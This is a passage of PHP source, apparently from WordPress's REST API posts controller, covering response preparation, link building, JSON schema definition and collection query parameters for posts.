time it is saved (see #38883). * In this case, shim the value based on the `post_date` field * with the site's timezone offset applied. */ if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) { $post_date_gmt = get_gmt_from_date( $post->post_date ); } else { $post_date_gmt = $post->post_date_gmt; } $data['date_gmt'] = $this->prepare_date_response( $post_date_gmt ); } if ( rest_is_field_included( 'guid', $fields ) ) { $data['guid'] = array( /** This filter is documented in wp-includes/post-template.php */ 'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ), 'raw' => $post->guid, ); } if ( rest_is_field_included( 'modified', $fields ) ) { $data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified ); } if ( rest_is_field_included( 'modified_gmt', $fields ) ) { /* * For drafts, `post_modified_gmt` may not be set (see `post_date_gmt` comments * above). In this case, shim the value based on the `post_modified` field * with the site's timezone offset applied. */ if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) { $post_modified_gmt = gmdate( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ); } else { $post_modified_gmt = $post->post_modified_gmt; } $data['modified_gmt'] = $this->prepare_date_response( $post_modified_gmt ); } if ( rest_is_field_included( 'password', $fields ) ) { $data['password'] = $post->post_password; } if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $post->post_name; } if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = $post->post_status; } if ( rest_is_field_included( 'type', $fields ) ) { $data['type'] = $post->post_type; } if ( rest_is_field_included( 'link', $fields ) ) { $data['link'] = get_permalink( $post->ID ); } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $post->post_title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); add_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); $data['title']['rendered'] = get_the_title( $post->ID ); remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); } $has_password_filter = false; if ( $this->can_access_password_content( $post, $request ) ) { $this->password_check_passed[ $post->ID ] = true; // Allow access to the post, permissions already checked before. add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 ); $has_password_filter = true; } if ( rest_is_field_included( 'content', $fields ) ) { $data['content'] = array(); } if ( rest_is_field_included( 'content.raw', $fields ) ) { $data['content']['raw'] = $post->post_content; } if ( rest_is_field_included( 'content.rendered', $fields ) ) { /** This filter is documented in wp-includes/post-template.php */ $data['content']['rendered'] = post_password_required( $post ) ? '' : apply_filters( 'the_content', $post->post_content ); } if ( rest_is_field_included( 'content.protected', $fields ) ) { $data['content']['protected'] = (bool) $post->post_password; } if ( rest_is_field_included( 'content.block_version', $fields ) ) { $data['content']['block_version'] = block_version( $post->post_content ); } if ( rest_is_field_included( 'excerpt', $fields ) ) { if ( isset( $request['excerpt_length'] ) ) { $excerpt_length = $request['excerpt_length']; $override_excerpt_length = static function () use ( $excerpt_length ) { return $excerpt_length; }; add_filter( 'excerpt_length', $override_excerpt_length, PHP_INT_MAX ); } /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post ); /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'the_excerpt', $excerpt ); $data['excerpt'] = array( 'raw' => $post->post_excerpt, 'rendered' => post_password_required( $post ) ? '' : $excerpt, 'protected' => (bool) $post->post_password, ); if ( isset( $override_excerpt_length ) ) { remove_filter( 'excerpt_length', $override_excerpt_length, PHP_INT_MAX ); } } if ( $has_password_filter ) { // Reset filter. remove_filter( 'post_password_required', array( $this, 'check_password_required' ) ); } if ( rest_is_field_included( 'author', $fields ) ) { $data['author'] = (int) $post->post_author; } if ( rest_is_field_included( 'featured_media', $fields ) ) { $data['featured_media'] = (int) get_post_thumbnail_id( $post->ID ); } if ( rest_is_field_included( 'parent', $fields ) ) { $data['parent'] = (int) $post->post_parent; } if ( rest_is_field_included( 'menu_order', $fields ) ) { $data['menu_order'] = (int) $post->menu_order; } if ( rest_is_field_included( 'comment_status', $fields ) ) { $data['comment_status'] = $post->comment_status; } if ( rest_is_field_included( 'ping_status', $fields ) ) { $data['ping_status'] = $post->ping_status; } if ( rest_is_field_included( 'sticky', $fields ) ) { $data['sticky'] = is_sticky( $post->ID ); } if ( rest_is_field_included( 'template', $fields ) ) { $template = get_page_template_slug( $post->ID ); if ( $template ) { $data['template'] = $template; } else { $data['template'] = ''; } } if ( rest_is_field_included( 'format', $fields ) ) { $data['format'] = get_post_format( $post->ID ); // Fill in blank post format. if ( empty( $data['format'] ) ) { $data['format'] = 'standard'; } } if ( rest_is_field_included( 'meta', $fields ) ) { $data['meta'] = $this->meta->get_value( $post->ID, $request ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( rest_is_field_included( $base, $fields ) ) { $terms = get_the_terms( $post, $taxonomy->name ); $data[ $base ] = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array(); } } $post_type_obj = get_post_type_object( $post->post_type ); if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) { $permalink_template_requested = rest_is_field_included( 'permalink_template', $fields ); $generated_slug_requested = rest_is_field_included( 'generated_slug', $fields ); if ( $permalink_template_requested || $generated_slug_requested ) { if ( ! function_exists( 'get_sample_permalink' ) ) { require_once ABSPATH . 'wp-admin/includes/post.php'; } $sample_permalink = get_sample_permalink( $post->ID, $post->post_title, '' ); if ( $permalink_template_requested ) { $data['permalink_template'] = $sample_permalink[0]; } if ( $generated_slug_requested ) { $data['generated_slug'] = $sample_permalink[1]; } } if ( rest_is_field_included( 'class_list', $fields ) ) { $data['class_list'] = get_post_class( array(), $post->ID ); } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $post ); $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions( $post, $request ); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } } /** * Applies Block Hooks to content-like post types for REST response. * * This replaces the individual post type filters that were previously hardcoded * in default-filters.php. * * @since 7.0.0 */ $content_like_post_types = array( 'post', 'page', 'wp_block', 'wp_navigation' ); /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ $content_like_post_types = apply_filters( 'rest_block_hooks_post_types', $content_like_post_types, $this->post_type, $post ); if ( in_array( $this->post_type, $content_like_post_types, true ) ) { $response = insert_hooked_blocks_into_rest_response( $response, $post ); } /** * Filters the post data for a REST API response. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * Possible hook names include: * * - `rest_prepare_post` * - `rest_prepare_page` * - `rest_prepare_attachment` * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post Post object. * @param WP_REST_Request $request Request object. */ return apply_filters( "rest_prepare_{$this->post_type}", $response, $post, $request ); } /** * Overwrites the default protected and private title format. * * By default, WordPress will show password protected or private posts with a title of * "Protected: %s" or "Private: %s", as the REST API communicates the status of a post * in a machine-readable format, we remove the prefix. * * @since 4.7.0 * * @return string Title format. */ public function protected_title_format() { return '%s'; } /** * Prepares links for the request. * * @since 4.7.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { // Entity meta. $links = array( 'self' => array( 'href' => rest_url( rest_get_route_for_post( $post->ID ) ), ), 'collection' => array( 'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ), ), 'about' => array( 'href' => rest_url( 'wp/v2/types/' . $this->post_type ), ), ); if ( ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'author' ) ) && ! empty( $post->post_author ) ) { $links['author'] = array( 'href' => rest_url( 'wp/v2/users/' . $post->post_author ), 'embeddable' => true, ); } if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'comments' ) ) { $replies_url = rest_url( 'wp/v2/comments' ); $replies_url = add_query_arg( 'post', $post->ID, $replies_url ); $links['replies'] = array( 'href' => $replies_url, 'embeddable' => true, ); } if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'revisions' ) ) { $revisions = wp_get_latest_revision_id_and_total_count( $post->ID ); $revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0; $revisions_base = sprintf( '/%s/%s/%d/revisions', $this->namespace, $this->rest_base, $post->ID ); $links['version-history'] = array( 'href' => rest_url( $revisions_base ), 'count' => $revisions_count, ); if ( $revisions_count > 0 ) { $links['predecessor-version'] = array( 'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ), 'id' => $revisions['latest_id'], ); } } $post_type_obj = get_post_type_object( $post->post_type ); if ( $post_type_obj->hierarchical && ! empty( $post->post_parent ) ) { $links['up'] = array( 'href' => rest_url( rest_get_route_for_post( $post->post_parent ) ), 'embeddable' => true, ); } // If we have a featured media, add that. $featured_media = get_post_thumbnail_id( $post->ID ); if ( $featured_media && ( 'publish' === get_post_status( $featured_media ) || current_user_can( 'read_post', $featured_media ) ) ) { $image_url = rest_url( rest_get_route_for_post( $featured_media ) ); $links['https://api.w.org/featuredmedia'] = array( 'href' => $image_url, 'embeddable' => true, ); } if ( ! in_array( $post->post_type, array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) { $attachments_url = rest_url( rest_get_route_for_post_type_items( 'attachment' ) ); $attachments_url = add_query_arg( 'parent', $post->ID, $attachments_url ); $links['https://api.w.org/attachment'] = array( 'href' => $attachments_url, ); } $taxonomies = get_object_taxonomies( $post->post_type ); if ( ! empty( $taxonomies ) ) { $links['https://api.w.org/term'] = array(); foreach ( $taxonomies as $tax ) { $taxonomy_route = rest_get_route_for_taxonomy_items( $tax ); // Skip taxonomies that are not public. if ( empty( $taxonomy_route ) ) { continue; } $terms_url = add_query_arg( 'post', $post->ID, rest_url( $taxonomy_route ) ); $links['https://api.w.org/term'][] = array( 'href' => $terms_url, 'taxonomy' => $tax, 'embeddable' => true, ); } } return $links; } /** * Gets the link relations available for the post and current user. * * @since 4.9.8 * * @param WP_Post $post Post object. * @param WP_REST_Request $request Request object. * @return array List of link relations. */ protected function get_available_actions( $post, $request ) { if ( 'edit' !== $request['context'] ) { return array(); } $rels = array(); $post_type = get_post_type_object( $post->post_type ); if ( 'attachment' !== $this->post_type && current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-publish'; } if ( current_user_can( 'unfiltered_html' ) ) { $rels[] = 'https://api.w.org/action-unfiltered-html'; } if ( 'post' === $post_type->name ) { if ( current_user_can( $post_type->cap->edit_others_posts ) && current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-sticky'; } } if ( post_type_supports( $post_type->name, 'author' ) ) { if ( current_user_can( $post_type->cap->edit_others_posts ) ) { $rels[] = 'https://api.w.org/action-assign-author'; } } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $tax ) { $tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name; $create_cap = is_taxonomy_hierarchical( $tax->name ) ? $tax->cap->edit_terms : $tax->cap->assign_terms; if ( current_user_can( $create_cap ) ) { $rels[] = 'https://api.w.org/action-create-' . $tax_base; } if ( current_user_can( $tax->cap->assign_terms ) ) { $rels[] = 'https://api.w.org/action-assign-' . $tax_base; } } return $rels; } /** * Retrieves the post's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. * * @phpstan-return array{ * title: non-empty-string, * type: non-empty-string, * properties: array<string, array<string, mixed>>, * ... * } */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', // Base properties for every Post. 'properties' => array( 'date' => array( 'description' => __( "The date the post was published, in the site's timezone." ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit', 'embed' ), ), 'date_gmt' => array( 'description' => __( 'The date the post was published, as GMT.' ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'guid' => array( 'description' => __( 'The globally unique identifier for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'GUID for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ), 'rendered' => array( 'description' => __( 'GUID for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ), 'id' => array( 'description' => __( 'Unique identifier for the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'link' => array( 'description' => __( 'URL to the post.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'modified' => array( 'description' => __( "The date the post was last modified, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'modified_gmt' => array( 'description' => __( 'The date the post was last modified, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the post unique to its type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'sanitize_slug' ), ), ), 'status' => array( 'description' => __( 'A named status for the post.' ), 'type' => 'string', 'enum' => array_keys( get_post_stati( array( 'internal' => false ) ) ), 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'validate_callback' => array( $this, 'check_status' ), ), ), 'type' => array( 'description' => __( 'Type of post.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'password' => array( 'description' => __( 'A password to protect access to the content and excerpt.' ), 'type' => 'string', 'context' => array( 'edit' ), ), ), ); $post_type_obj = get_post_type_object( $this->post_type ); if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) { $schema['properties']['permalink_template'] = array( 'description' => __( 'Permalink template for the post.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ); $schema['properties']['generated_slug'] = array( 'description' => __( 'Slug automatically generated from the post title.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ); $schema['properties']['class_list'] = array( 'description' => __( 'An array of the class names for the post container element.' ), 'type' => 'array', 'context' => array( 'view', 'edit' ), 'readonly' => true, 'items' => array( 'type' => 'string', ), ); } if ( $post_type_obj->hierarchical ) { $schema['properties']['parent'] = array( 'description' => __( 'The ID for the parent of the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); } $post_type_attributes = array( 'title', 'editor', 'author', 'excerpt', 'thumbnail', 'comments', 'revisions', 'page-attributes', 'post-formats', 'custom-fields', ); $fixed_schemas = array( 'post' => array( 'title', 'editor', 'author', 'excerpt', 'thumbnail', 'comments', 'revisions', 'post-formats', 'custom-fields', ), 'page' => array( 'title', 'editor', 'author', 'excerpt', 'thumbnail', 'comments', 'revisions', 'page-attributes', 'custom-fields', ), 'attachment' => array( 'title', 'author', 'comments', 'revisions', 'custom-fields', 'thumbnail', ), ); foreach ( $post_type_attributes as $attribute ) { if ( isset( $fixed_schemas[ $this->post_type ] ) && ! in_array( $attribute, $fixed_schemas[ $this->post_type ], true ) ) { continue; } elseif ( ! isset( $fixed_schemas[ $this->post_type ] ) && ! post_type_supports( $this->post_type, $attribute ) ) { continue; } switch ( $attribute ) { case 'title': $schema['properties']['title'] = array( 'description' => __( 'The title for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML title for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); break; case 'editor': $schema['properties']['content'] = array( 'description' => __( 'The content for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Content for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML content for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'block_version' => array( 'description' => __( 'Version of the content block format used by the post.' ), 'type' => 'integer', 'context' => array( 'edit' ), 'readonly' => true, ), 'protected' => array( 'description' => __( 'Whether the content is protected with a password.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); break; case 'author': $schema['properties']['author'] = array( 'description' => __( 'The ID for the author of the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ); break; case 'excerpt': $schema['properties']['excerpt'] = array( 'description' => __( 'The excerpt for the post.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Excerpt for the post, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML excerpt for the post, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'protected' => array( 'description' => __( 'Whether the excerpt is protected with a password.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); break; case 'thumbnail': $schema['properties']['featured_media'] = array( 'description' => __( 'The ID of the featured media for the post.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ); break; case 'comments': $schema['properties']['comment_status'] = array( 'description' => __( 'Whether or not comments are open on the post.' ), 'type' => 'string', 'enum' => array( 'open', 'closed' ), 'context' => array( 'view', 'edit' ), ); $schema['properties']['ping_status'] = array( 'description' => __( 'Whether or not the post can be pinged.' ), 'type' => 'string', 'enum' => array( 'open', 'closed' ), 'context' => array( 'view', 'edit' ), ); break; case 'page-attributes': $schema['properties']['menu_order'] = array( 'description' => __( 'The order of the post in relation to other posts.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); break; case 'post-formats': // Get the native post formats and remove the array keys. $formats = array_values( get_post_format_slugs() ); $schema['properties']['format'] = array( 'description' => __( 'The format for the post.' ), 'type' => 'string', 'enum' => $formats, 'context' => array( 'view', 'edit' ), ); break; case 'custom-fields': $schema['properties']['meta'] = $this->meta->get_field_schema(); break; } } if ( 'post' === $this->post_type ) { $schema['properties']['sticky'] = array( 'description' => __( 'Whether or not the post should be treated as sticky.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), ); } $schema['properties']['template'] = array( 'description' => __( 'The theme file to use to display the post.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'validate_callback' => array( $this, 'check_template' ), ), ); $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( array_key_exists( $base, $schema['properties'] ) ) { $taxonomy_field_name_with_conflict = ! empty( $taxonomy->rest_base ) ? 'rest_base' : 'name'; _doing_it_wrong( 'register_taxonomy', sprintf( /* translators: 1: The taxonomy name, 2: The property name, either 'rest_base' or 'name', 3: The conflicting value. */ __( 'The "%1$s" taxonomy "%2$s" property (%3$s) conflicts with an existing property on the REST API Posts Controller. Specify a custom "rest_base" when registering the taxonomy to avoid this error.' ), $taxonomy->name, $taxonomy_field_name_with_conflict, $base ), '5.4.0' ); } $schema['properties'][ $base ] = array( /* translators: %s: Taxonomy name. */ 'description' => sprintf( __( 'The terms assigned to the post in the %s taxonomy.' ), $taxonomy->name ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'context' => array( 'view', 'edit' ), ); } $schema_links = $this->get_schema_links(); if ( $schema_links ) { $schema['links'] = $schema_links; } // Take a snapshot of which fields are in the schema pre-filtering. $schema_fields = array_keys( $schema['properties'] ); /** * Filters the post's schema. * * The dynamic portion of the filter, `$this->post_type`, refers to the * post type slug for the controller. * * Possible hook names include: * * - `rest_post_item_schema` * - `rest_page_item_schema` * - `rest_attachment_item_schema` * * @since 5.4.0 * * @param array $schema Item schema data. */ $schema = apply_filters( "rest_{$this->post_type}_item_schema", $schema ); // Emit a _doing_it_wrong warning if user tries to add new properties using this filter. $new_fields = array_diff( array_keys( $schema['properties'] ), $schema_fields ); if ( count( $new_fields ) > 0 ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: register_rest_field */ __( 'Please use %s to add new schema properties.' ), 'register_rest_field' ), '5.4.0' ); } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves Link Description Objects that should be added to the Schema for the posts collection. * * @since 4.9.8 * * @return array */ protected function get_schema_links() { $href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" ); $links = array(); if ( 'attachment' !== $this->post_type ) { $links[] = array( 'rel' => 'https://api.w.org/action-publish', 'title' => __( 'The current user can publish this post.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'status' => array( 'type' => 'string', 'enum' => array( 'publish', 'future' ), ), ), ), ); } $links[] = array( 'rel' => 'https://api.w.org/action-unfiltered-html', 'title' => __( 'The current user can post unfiltered HTML markup and JavaScript.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'content' => array( 'raw' => array( 'type' => 'string', ), ), ), ), ); if ( 'post' === $this->post_type ) { $links[] = array( 'rel' => 'https://api.w.org/action-sticky', 'title' => __( 'The current user can sticky this post.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'sticky' => array( 'type' => 'boolean', ), ), ), ); } if ( post_type_supports( $this->post_type, 'author' ) ) { $links[] = array( 'rel' => 'https://api.w.org/action-assign-author', 'title' => __( 'The current user can change the author on this post.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'author' => array( 'type' => 'integer', ), ), ), ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $tax ) { $tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name; /* translators: %s: Taxonomy name. */ $assign_title = sprintf( __( 'The current user can assign terms in the %s taxonomy.' ), $tax->name ); /* translators: %s: Taxonomy name. */ $create_title = sprintf( __( 'The current user can create terms in the %s taxonomy.' ), $tax->name ); $links[] = array( 'rel' => 'https://api.w.org/action-assign-' . $tax_base, 'title' => $assign_title, 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( $tax_base => array( 'type' => 'array', 'items' => array( 'type' => 'integer', ), ), ), ), ); $links[] = array( 'rel' => 'https://api.w.org/action-create-' . $tax_base, 'title' => $create_title, 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( $tax_base => array( 'type' => 'array', 'items' => array( 'type' => 'integer', ), ), ), ), ); } return $links; } /** * Retrieves the query params for the posts collection. * * @since 4.7.0 * @since 5.4.0 The `tax_relation` query parameter was added. * @since 5.7.0 The `modified_after` and `modified_before` query parameters were added. * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['after'] = array( 'description' => __( 'Limit response to posts published after a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['modified_after'] = array( 'description' => __( 'Limit response to posts modified after a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); if ( post_type_supports( $this->post_type, 'author' ) ) { $query_params['author'] = array( 'description' => __( 'Limit result set to posts assigned to specific authors.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['author_exclude'] = array( 'description' => __( 'Ensure result set excludes posts assigned to specific authors.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); } $query_params['before'] = array( 'description' => __( 'Limit response to posts published before a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['modified_before'] = array( 'description' => __( 'Limit response to posts modified before a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) { $query_params['menu_order'] = array( 'description' => __( 'Limit result set to posts with a specific menu_order value.' ), 'type' => 'integer', ); } $query_params['search_semantics'] = array( 'description' => __( 'How to interpret the search input.' ), 'type' => 'string', 'enum' => array( 'exact' ), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by post attribute.' ), 'type' => 'string', 'default' => 'date', 'enum' => array( 'author', 'date', 'id', 'include', 'modified', 'parent', 'relevance', 'slug', 'include_slugs', 'title', ), ); if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) { $query_params['orderby']['enum'][] = 'menu_order'; } $post_type = get_post_type_object( $this->post_type ); if ( $post_type->hierarchical || 'attachment' === $this->post_type ) { $query_params['parent'] = array( 'description' => __( 'Limit result set to items with particular parent IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['parent_exclude'] = array( 'description' => __( 'Limit result set to all items except those of a particular parent ID.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); } $query_params['search_columns'] = array( 'default' => array(), 'description' => __( 'Array of column names to be searched.' ), 'type' => 'array', 'items' => array( 'enum' => array( 'post_title', 'post_content', 'post_excerpt' ), 'type' => 'string', ), ); $query_params['slug'] = array( 'description' => __( 'Limit result set to posts with one or more specific slugs.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ); $query_params['status'] = array( 'default' => 'publish', 'description' => __( 'Limit result set to posts assigned one or more statuses.' ), 'type' => 'array', 'items' => array( 'enum' => array_merge( array_keys( get_post_stati() ), array( 'any' ) ), 'type' => 'string', ), 'sanitize_callback' => array( $this, 'sanitize_post_statuses' ), ); $query_params = $this->prepare_taxonomy_limit_schema( $query_params ); if ( 'post' === $this->post_type ) { $query_params['sticky'] = array( 'description' => __( 'Limit result set to items that are sticky.' ), 'type' => 'boolean', ); $query_params['ignore_sticky'] = array( 'description' => __( 'Whether to ignore sticky posts or not.' ), 'type' => 'boolean', 'default' => true, ); } if ( post_type_supports( $this->post_type, 'post-formats' ) ) { $query_params['format'] = array( 'description' => __( 'Limit result set to items assigned one or more given formats.' ), 'type' => 'array', 'uniqueItems' => true, 'items' => array( 'enum' => array_values( get_post_format_slugs() ), 'type' => 'string', ), ); } /** * Filters collection parameters for the posts controller. * * The dynamic part of the filter `$this->post_type` refers to the post * type slug for the controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_Query parameter. Use the * `rest_{$this->post_type}_query` filter to set WP_Query parameters. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. * @param WP_Post_Type $post_type Post type object. */ return apply_filters( "rest_{$this->post_type}_collection_params", $query_params, $post_type ); } /** * Sanitizes and validates the list of post statuses, including whether the * user can query private statuses. * * @since 4.7.0 * * @param string|array $statuses One or more post statuses. * @param WP_REST_Request $request Full details about the request. * @param string $parameter Additional parameter to pass to validation. * @return array|WP_Error A list of valid statuses, otherwise WP_Error object. */ public function sanitize_post_statuses( $statuses, $request, $parameter ) { $statuses = wp_parse_slug_list( $statuses ); // The default status is different in WP_REST_Attachments_Controller. $attributes = $request->get_attributes(); $default_status = $attributes['args']['status']['default']; foreach ( $statuses as $status ) { if ( $status === $default_status ) { continue; } $post_type_obj = get_post_type_object( $this->post_type ); if ( current_user_can( $post_type_obj->cap->edit_posts ) || 'private' === $status && current_user_can( $post_type_obj->cap->read_private_posts ) ) { $result = rest_validate_request_arg( $status, $request, $parameter ); if ( is_wp_error( $result ) ) { return $result; } } else { return new WP_Error( 'rest_forbidden_status', __( 'Status is forbidden.' ), array( 'status' => rest_authorization_required_code() ) ); } } return $statuses; } /** * Prepares the 'tax_query' for a collection of posts. * * @since 5.7.0 * * @param array $args 